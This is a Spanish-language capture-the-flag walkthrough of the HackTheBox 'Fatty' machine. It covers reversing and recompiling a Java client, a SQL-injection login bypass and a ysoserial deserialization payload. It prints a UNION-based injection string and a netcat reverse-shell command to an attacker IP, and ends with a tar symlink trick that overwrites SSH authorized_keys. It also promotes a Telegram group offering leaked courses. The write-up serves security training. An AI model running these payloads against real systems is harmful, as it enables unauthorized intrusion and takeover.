HackTheBox. Tutorial Fatty. Invierta y recompile una aplicación cliente-servidor. Deserialización de Java



Sigo publicando soluciones enviadas para la finalización de máquinas desde la plataforma HackTheBox .



En este artículo, invertiremos dos aplicaciones Java, mientras modificamos y recompilamos el cliente, para aprovechar la inyección SQL durante la autorización y ejecutar comandos en el servidor debido a una vulnerabilidad en la deserialización de un objeto Java.



La conexión al laboratorio es vía VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde haya datos importantes para usted, ya que se encuentra en una red privada con personas que saben algo sobre seguridad de la información.



Información organizacional
, , Telegram . , , .



. , - , .



Recon



Esta máquina tiene una dirección IP de 10.10.10.174, que agrego a / etc / hosts.



10.10.10.174 	fatty.htb


El primer paso es escanear los puertos abiertos. Dado que se necesita mucho tiempo para escanear todos los puertos con nmap, primero lo haré usando masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a 500 paquetes por segundo.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.174       --rate=500




Ahora, para obtener información más detallada sobre los servicios que se ejecutan en los puertos, ejecute un escaneo con la opción -A.



nmap -A fatty.htb -p21,22,1337,1338,1339




A partir del escaneo de nmap, vemos que es posible un inicio de sesión ftp anónimo, mientras que contiene varias notas y un archivo jar. Descargamos todo lo que hay ahí.



wget ftp://fatty.htb/*






La primera nota indica que el servidor se ejecuta en los puertos 1337, 1338 y 1339, y que el puerto 8000 todavía está en el cliente y debe arreglarse.







La segunda publicación dice sobre el diseño estático de los elementos en el formulario del cliente y también que el cliente trabaja con Java 8.





La tercera nota dice que hay problemas de seguridad y se proporcionan credenciales.







Empecemos con el cliente.



/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar fatty-client.jar




Descompilemos al cliente. Estoy usando Intellij IDEA, así que instalé la extensión del descompilador de Java. Simplemente descomprima el archivo jar y especifique el directorio como directorio del proyecto. En el archivo beans.xml encontramos los parámetros de conexión.





Lanzamos el puerto local 8000 al remoto 1337.



simpleproxy -L 8000 -R fatty.htb:1337


En este caso, haremos una entrada en / etc / hosts.



127.0.0.1       server.fatty.htb


De esta forma, todo el tráfico del cliente se redirigirá al host remoto. Empezamos e iniciamos sesión.







Echemos un vistazo a la aplicación. De todo lo que es, debe detenerse en la función de obtener una lista de archivos y leer archivos.











Pero cuando intentamos leer algunos archivos más, obtenemos errores.







La única pregunta es dónde está el filtro. Anticipándose a la necesidad de parchear el código, descompilar la aplicación en jd-gui y guardar.







Después de descomprimir, abra la carpeta como un proyecto en Intellij IDEA.



Recompilación de Java



Volveremos a compilar la aplicación (este método también funciona para aplicaciones ofuscadas). Ahora repasemos la configuración del entorno. Vaya a Archivo-> Estructura del proyecto y Configuración del proyecto establezca las siguientes configuraciones: Versión del SDK - java8 y el directorio donde se guardarán los archivos compilados.





A continuación, vaya a Módulos del proyecto y en Fuentes seleccione los directorios que nos interesen, que contienen el código principal.





Y en Dependencias, agregue el archivo jar de la aplicación.





Como puede ver, el que desapareció junto al elemento Problemas. Siga adelante. Agregar aplicación para ejecutar / depurar configuraciones.







E indicaremos la clase Starter como la clase Main, ya que el programa parte de ella.







Todo está listo. Ahora vaya a la clase Invoke y establezca un punto de interrupción en la función de lista de archivos para cambiar el directorio.





Ahora comenzamos a depurar y nos detenemos en este punto.





Y cambie el valor de la variable de carpeta.









Y funcionó. Vemos una lista de archivos. Averigüemos qué hay en el archivo start.sh. Para hacer esto, encontraremos la función para leer el archivo y estableceremos un punto de interrupción en él.





Abramos este archivo en el apéndice y detengámonos en este punto.





Y cambie el valor de la variable nombre de carpeta.









Y leemos con éxito este archivo.





Por lo tanto, esta aplicación se ejecuta en nombre del usuario del sistema qtc. Para obtener la aplicación, debe cambiar el código. Agreguemos una función para escribir en un archivo, obtengamos la respuesta en bytes, la codifiquemos en base64 y pasemos esta cadena a esta función.





Solicitemos un archivo a través de la aplicación, detengámonos en un punto de interrupción y cambiemos la ruta.





Y el archivo se guardó correctamente.





cat srv.b64 | base64 -d > fatty-server.jar


Servidor pwning



Abra la aplicación del servidor en jd-gui. Después de mirar un poco el código, recopilamos información muy útil. Por ejemplo, datos de conexión de la base de datos.





Y también una solicitud a la base de datos durante la autorización.





Por lo tanto, se crea un usuario para la aplicación, en función de los datos que se devolverán desde la base de datos.







Por lo tanto, podemos hacer tal solicitud para que se haya creado el qtc que conocemos, pero ya con derechos de administrador. Conocemos su nombre de usuario y contraseña, pero será necesario devolver el hash de la base de datos. Calculémoslo:





Necesitamos ejecutar una consulta como esta:



SELECT id, username, email, password, role FROM users WHERE username='qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin'


Para ello, al depurar la aplicación, nos detendremos en la función de inicio de sesión.





Y cambie el nombre de usuario variable.



qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin










Después de la autorización exitosa, veremos nuestros derechos, trabajamos como administrador.







Para no cambiar nada más durante la depuración, sino para obtener acceso administrativo constantemente, incluso con campos vacíos, cambiaremos la función de inicio de sesión.







Ahora que hemos descubierto cómo aumentar nuestros derechos, echemos un vistazo a las nuevas funciones disponibles y decidamos el próximo vector de ataque. Y en el código del servidor nos aferramos al uso de serialización en la función de cambio de contraseña.







Busquemos esta característica en la aplicación cliente.







Por tanto, el objeto Usuario se serializa, se codifica en base64 y se pasa al servidor, donde se decodifica y deserializa. Dado que el nombre de la función está atenuado, no se usa en ninguna parte. Puede verificar esto intentando cambiar la contraseña.







Pongamos un punto de interrupción dentro de la función de cambio de contraseña, antes de agregar el objeto serializado como argumento.







Busquemos el código que se ejecuta al hacer clic en el botón Cambiar.







Agreguemos la llamada a la función.







Puede utilizar ysoserial para aprovechar una vulnerabilidad en la deserialización de datos . Primero, definamos un módulo.

grep -R Invoke .






Por lo tanto, usaremos CommonsCollections.

/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 'nc 10.10.15.60 4321 -e /bin/sh' | base64 -w0


E insertaremos la carga recibida en el código cambiado de la función de cambio de contraseña.







Después de ejecutar la aplicación, obtenemos una conexión posterior.







RAÍZ



Cargue uno de los scripts de enumeración del sistema, por ejemplo linpeas. No encontramos nada interesante, salvo que estamos en un contenedor docker.







Como no encontramos nada estático, iniciemos pspy y rastreemos los procesos en ejecución. Pero después de esperar un poco, no pasó nada interesante. Luego inicié el proceso iniciando la aplicación cliente y cerrándola. Después de cerrar la aplicación, se ejecutó el comando scp.







Por lo tanto, se copia el archivo con los registros. Puedo suponer que también se está desembalando. Iniciemos sesión, carguemos, creemos y empaquetemos un enlace a un archivo con claves ssh.







Revisemos el archivo.







Excelente. Ahora vamos a abrir la aplicación, iniciar sesión, cambiar los registros y cerrar la aplicación.

mv my.tar /opt/fatty/tar/logs.tar


Ahora, si repite algo como esto, el contenido del archivo se escribirá enautorized_keys. Por lo tanto, generamos un par de claves usando ssh-keygen, volvemos a hacer el truco con la aplicación y escribimos uno público en lugar de un archivo.







Ahora podemos conectarnos mediante SSH con una clave privada.







Puedes unirte a nosotros en Telegram . Allí puede encontrar materiales interesantes, cursos filtrados y software. Reunamos una comunidad, en la que habrá personas con experiencia en muchas áreas de TI, entonces siempre podremos ayudarnos unos a otros en cualquier problema de TI y seguridad de la información.



All Articles